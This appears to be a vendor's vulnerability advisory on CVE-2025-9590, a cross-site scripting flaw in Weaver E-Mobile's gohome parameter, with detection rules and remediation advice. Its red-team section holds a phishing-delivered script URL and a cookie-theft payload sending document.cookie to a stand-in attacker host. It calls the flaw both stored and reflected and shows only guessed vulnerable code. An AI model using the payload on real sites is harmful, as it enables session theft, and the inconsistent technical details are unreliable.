CVE-2025-9590
Executive Summary
CVE-2025-9590 is a stored cross-site scripting (XSS) vulnerability in the Weaver E-Mobile Mobile Management Platform, affecting versions up to the 20250813 release. The flaw resides in an unknown functionality where the gohome argument is not properly sanitized, allowing an attacker to inject arbitrary JavaScript code. The attack is remotely exploitable with low complexity and requires user interaction. The vendor has not responded to disclosure, and no official patch exists. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of exploit code increases risk for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 3.5 (Low)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Low. The vulnerability requires user interaction (e.g., clicking a crafted link) and only allows limited integrity compromise (e.g., defacement or session hijacking). However, the lack of a patch and public exploit code elevates the risk for organizations using this platform.
Deep Dive & Mechanics
The Weaver E-Mobile Mobile Management Platform is a web-based application for mobile device management. The vulnerability is a classic reflected XSS in the gohome parameter. When the application processes this parameter, it fails to escape or validate user input before rendering it in the response. An attacker can craft a URL like:
https://target.com/path?gohome=<script>alert('XSS')</script>
If a victim clicks this link, the script executes in their browser context, potentially allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf. The attack is remote and does not require authentication.
Vulnerable vs. Patched Code
Vulnerable Code (conceptual):
The application likely directly outputs the gohome parameter without sanitization:
<?php
$gohome = $_GET['gohome'];
echo "<a href='$gohome'>Go Home</a>";
?>
Patched Code (conceptual):
A secure version would escape the output:
<?php
$gohome = htmlspecialchars($_GET['gohome'], ENT_QUOTES, 'UTF-8');
echo "<a href='$gohome'>Go Home</a>";
?>
Since no official patch exists, organizations must implement their own input validation and output encoding.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Weaver E-Mobile up to 20250813.
- No authentication required.
Exploit Steps:
- Craft a malicious URL:
https://target.com/mobile?gohome=<script>alert(document.cookie)</script> - Deliver the link to a victim via phishing email or social engineering.
- When the victim clicks, the script executes, exfiltrating cookies or performing actions.
Example Payload (cookie theft):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor web logs for requests containing
<script>oronerrorin thegohomeparameter. - Use WAF rules to block XSS patterns in query strings.
Mitigation:
- Apply input validation: allow only alphanumeric characters and common URL-safe symbols in
gohome. - Implement Content Security Policy (CSP) headers to block inline scripts.
- Use output encoding (e.g.,
htmlspecialcharsin PHP) for all user-supplied data.
Indicators of Compromise (IOCs)
- URL Pattern:
?gohome=<script>or?gohome=javascript: - Network Traffic: Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Log Entries:
GET /mobile?gohome=<script>alert(1)</script> HTTP/1.1 - File Hashes: No specific malware associated; attack is web-based.
Detection Engineering
YARA Rule
rule CVE_2025_9590_XSS_Weaver {
meta:
description = "Detects XSS attempts targeting Weaver E-Mobile gohome parameter"
author = "Valters IT"
date = "2025-08-14"
reference = "CVE-2025-9590"
strings:
$xss1 = "gohome=<script" ascii nocase
$xss2 = "gohome=javascript:" ascii nocase
$xss3 = "gohome=onerror=" ascii nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-9590 XSS in Weaver E-Mobile gohome Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS attempts in the gohome parameter of Weaver E-Mobile
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- "gohome=<script"
- "gohome=javascript:"
- "gohome=onerror="
condition: selection
falsepositives:
- Legitimate use of script tags in parameter (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-9590 XSS in Weaver E-Mobile gohome Parameter"; flow:to_server,established; content:"gohome="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Restrict the
gohomeparameter to only accept safe characters (e.g., alphanumeric,/,?,#). - Output Encoding: Use context-appropriate encoding (HTML entity encoding) when rendering the parameter.
- WAF Rules: Deploy a Web Application Firewall to block XSS patterns in query strings.
- CSP Header: Add
Content-Security-Policy: script-src 'self'to prevent inline script execution.
Long-Term:
- Monitor vendor channels for an official patch.
- Consider migrating to a supported mobile management platform if the vendor remains unresponsive.
- Conduct regular security audits and penetration testing.
Valters IT
DevSecOps & Cyber Threat Intelligence